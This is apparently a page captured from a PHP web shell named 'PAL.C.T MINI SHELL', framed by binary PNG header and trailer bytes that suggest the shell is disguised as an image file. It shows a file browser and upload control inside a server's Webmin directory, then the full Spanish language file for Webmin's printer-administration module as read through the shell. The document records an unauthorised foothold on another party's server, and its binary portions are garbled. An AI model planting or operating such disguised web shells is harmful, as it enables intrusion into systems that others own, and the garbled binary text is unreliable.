php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/lpadmin/lang/es

index_title=Administración de Impresoras
index_name=Impresora
index_desc=Descripción
index_to=Imprime en
index_driver=Filtro (Controlador)
index_enabled=¿Activado?
index_accepting=¿Aceptando?
index_jobs=Tareas
index_none=No hay impresoras instaladas en este sistema
index_list=relación...
index_add=Añadir una nueva impresora
index_stop=Parar Planificador
index_stopmsg=Haz click en este botón para parar el proceso en curso del planificador de impresión. Esto hará prevenir que cualquier usuario local o remoto impriman en tu sistema.
index_start=Arrancar Planificador
index_startmsg=Haz click en este botón para arrancar el proceso del planificador de impresión. Esto permitirá que los usuarios locales y remotos impriman en tu sistema.
index_restart=Rearrancar Planificador
index_restartmsg=Haz click en este botón para rearrancar el proceso del planificador de impresión. Esto forzará la aplicación de la configuración en curso.
index_return=Lista de impresoras

edit_eedit=No estás autorizado a editar esta impresora
edit_eadd=No estás autorizado a añadir impresoras
edit_add=Crear Impresora
edit_edit=Editar Impresora
edit_conf=Configuración de Impresora
edit_name=Nombre
edit_acc=¿Aceptando requerimientos?
edit_why=No - Por qué no
edit_desc=Descripción
edit_ena=¿Impresión activada?
edit_acl=Control de Acceso
edit_allow=Permitir a todos
edit_deny=Denegar a todos
edit_allowu=Permitir a usuarios listados...
edit_denyu=Denegar a usuarios listados...
edit_banner=¿Imprimo página de cabecera?
edit_opt=Opcional
edit_default=¿Es la impresora por Defecto?
edit_already=Ya es la impresora por defecto
edit_max=Medida máxima de tarea de impresión
edit_unlimited=Ilimitado
edit_dacc=El controlador acepta
edit_dtext=Texto
edit_dpost=Postscript
edit_dother=Otros
edit_alt=Nombres alternativos de impresora
edit_dest=Destino de la impresión
edit_dev=Dispositivo local
edit_file=Archivo local
edit_remote=Servidor Unix remoto
edit_rqueue=Impresora
edit_type=Tipo
edit_smb=Servidor Windows remoto
edit_share=Impresora
edit_user=Usuario
edit_pass=Clave de Acceso
edit_wgroup=Grupo de Trabajo
edit_hpnp=Servidor HPNP remoto
edit_port=Puerto
edit_direct=Conexión TCP directa
edit_dport=Puerto
edit_driver=Controlador de Impresora
edit_check=¿Reviso si el servidor remoto está activo?

blocks=bloques

save_err=Error al salvar impresora
save_eadd=No estás autorizado a añadir impresoras
save_eedit=No estás autorizado a editar esta impresora
save_ename='$1' no es un nombre válido de impresora
save_edup=Ya existe una impresora llamada '$1'
save_eallow=No se han digitado usuarios a autorizar
save_edeny=No se han digitado usuarios a denegar
save_euser=El usuario '$1' no existe
save_etype=Debes de seleccionar al menos un tipo para que sea aceptado por este controlador
save_emax=La medida máxima de tareas de impresión debe de ser un entero
save_efile='$1' no existe
save_erhost=La máquina remota '$1' no existe
save_erqueue='$1' no es un nombre de cola remota válido
save_eremote=Los controladores no pueden ser usados con impresoras Unix remotas
save_edhost=La máquina directa '$1' no existe
save_edport=Puerto directo falta o es inválido

jobs_title=Tareas de impresión
jobs_header=Imprimir tareas en $1
jobs_id=ID de Tarea
jobs_size=Medida
jobs_by=Puesto Por
jobs_when=Puesto a las
jobs_file=Nombre de Archivo
jobs_cancel=Haz click en una ID de tarea de la lista superior para cancelarla.
jobs_cancelview=Haz click en una ID de tarea de la lista superior para cancelarla o haz click en la medida de la tarea para verla.
jobs_none=No hay tareas de impresión en $1
jobs_all=Cancelar todas las tareas de impresión
jobs_bytes=octetos
jobs_test=Imprimir Página de Prueba

cancel_ecannot=No estás autorizado a cancelar tareas de impresión
cancel_err=Error al cancelar tarea de impresión
cancel_egone=La tarea de impresión $1 ya no existe

view_ecannot=No puedes ver esta tarea de impresión
view_egone=Esta tarea de impresión ya no existe

start_ecannot=No estás autorizado a arrancar el planificador
start_err=Error al arrancar planificador

stop_ecannot=No estás autorizado a parar el planificador
stop_err=Error al parar planificador

restart_ecannot=No estás autorizado a rearrancar el planificador de impresión
restart_err=No pude rearrancar el planificador de impresión

webmin_none=Ninguno
webmin_nonemsg=Impresora Postscript o de texto
webmin_remotemsg=Impresora remota
webmin_model=Modelo
webmin_prog=Programa
webmin_driver=Controlador de Webmin
webmin_uniprint=Controlador Uniprint
webmin_edrivers=Error al obtener los controladores desde $1. Los controladores de impresoras de Webmin que utilicen ghostscript no estarán disponibles
webmin_egs=El comando $1 no fue encontrado. Los controladores de impresora de Webmin que utilicen ghostscript no estarán disponibles
webmin_edriver='$1' no existe

caldera_none=Ninguno
caldera_nonemsg=Impresora remota o sin buffer
caldera_prog=Programa
caldera_coas=Controlador COAS
caldera_printer=Impresora y resolución
caldera_eof=¿Envío Fin-de-Archivo (EOF)?
caldera_paper=Medida del papel
caldera_double=¿Imprimo por ambas caras?
caldera_gsopts=Opciones GS adicionales
caldera_uniprint=Controlador Uniprint
caldera_eprog='$1' no existe
caldera_edriver=No se ha seleccionado controlador de impresora
caldera_eres=No se ha seleccionado resolución

redhat_none=Ninguno
redhat_nonemsg=Impresora postscript o de texto
redhat_prog=Programa
redhat_driver=Controlador Redhat
redhat_printer=Impresora y resolución
redhat_eof=¿Envío Fin-de-Archivo (EOF)?
redhat_paper=Medida del papel
redhat_pages=Página por página de salida
redhat_gsopts=Opciones GS adicionales
redhat_hmargin=Márgen Derecho/Izquierdo
redhat_vmargin=Márgen Superior/Inferior
redhat_crlf=¿Fijo el texto en modo escalonando-escalera?
redhat_eprog='$1' no existe
redhat_edriver=No se ha seleccionado controlador de impresora
redhat_ehmargin=Márgen derecho/izquierdo falta o es inválido
redhat_evmargin=Márgen superior/inferior falta o es inválido
redhat_eres=No se ha seleccionado resolución
redhat_printer2=Model y conductor de impresora

suse_none=Ninguna
suse_nonemsg=Impresora postscript o de texto
suse_prog=Programa
suse_driver=Controlador APSfilter
suse_printer=Tipo de impresora
suse_res=Resolución en DPI
suse_colour=¿Impresora a color?
suse_paper=Medida del papel
suse_method=Método de filtrado
suse_auto=Automático
suse_ascii=ASCII
suse_raw=Sin búfer
suse_extra=Opciones extra de ghostscript
suse_yast2=Conductor de YAST2
suse_edriver=No se ha selecciona tipo de impresora
suse_eres=Resuloción falta o es inválida

estop=No pude parar lpd: $1

acl_printers=Impresoras que este usuario puede configurar
acl_add=¿Puedo añadir impresoras nuevas?
acl_cancel=¿Puedo ver y cancelar tareas de impresión?
acl_stop=¿Puedo parar o arrancar el planificador?
acl_restart=Sólo rearrancar
acl_listed=Sólo en las impresoras seleccionadas...
acl_pall=Todas las impresoras
acl_psel=Las seleccionadas...
acl_view=¿Mostrar impresoras no configurables?
acl_test=¿Puedo imprimir páginas de prueba?
acl_user=Gestionar tareas de impresión propiedad de
acl_user_all=Todos los usuarios
acl_user_this=Usuario actual de Webmin

log_stop=Parado Gestor de impresión
log_start=Arrancado gestor de impresión
log_restart=Rearrancado planificador de impresión
log_cancel_job=Cancelada tarea de impresión $2 en $1
log_cancel_all=Canceladas todas las tareas de impresión en $1
log_create=Creada impresora $1 en $2
log_modify=Modificada impresora $1 en $2
log_delete=Borrada impresora $1 en $2
log_create_l=Creada $3 impresora $1 en $2
log_modify_l=Modificada $3 impresora $1 en $2
log_delete_l=Borrada $3 impresora $1 en $2

linux_paralel=Puerto Paralelo $1
linux_serial=Puerto Serial $1 (COM$1)
linux_null=Dispositivo Nulo
linux_usb=Impresora USB $1

freebsd_paralel=Puerto Paralelo
freebsd_serial=Puerto Serial $1 (COM$1)

openbsd_paralel=Puerto Paralelo
openbsd_serial=Puerto Serial $1 (COM$1)

unixware_paralel=Puerto Paralelo $1
unixware_serial=Puerto Serial $1
unixware_null=Dispositivo Nulo

hpux_paralel=Paralelo $1
hpux_serial=Serial $1
hpux_null=Dispositivo Nulo

lprng_paralel=Puerto Paralelo $1
lprng_serial=Puerto Serial $1 (COM$1)
lprng_null=Dispositivo Nulo

solaris_paralel=Puerto Paralelo
solaris_uparalel=Puerto Paralelo Ultra 5/10
solaris_serial=Puerto Serial $1
solaris_null=Dispositivo Nulo

test_title=Imprimir Página de Prueba
test_ecannot=No estás autorizado a imprimir páginas de prueba
test_desc=Este formulario te permite imprimir una página de prueba en la impresora $1. Selecciona el tipo de página que deseas imprimir:
test_0=Página Postcript en blanco y negro
test_1=Página Postscript en color
test_2=Texto ASCII
test_3=Cualquier fichero cargado
test_print=Imprimir página
test_exec=Imprimiendo página de prueba con el comando $1...
test_failed=... ¡Falló el comando!
test_ok=... comando completado.

cups_none=Ninguno
cups_nonemsg=Impresora remota o directa
cups_prog=Programa
cups_driver=Controlador CUPS
cups_eprog='$1' no es un programa válido
cups_opts=Opciones para $1
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`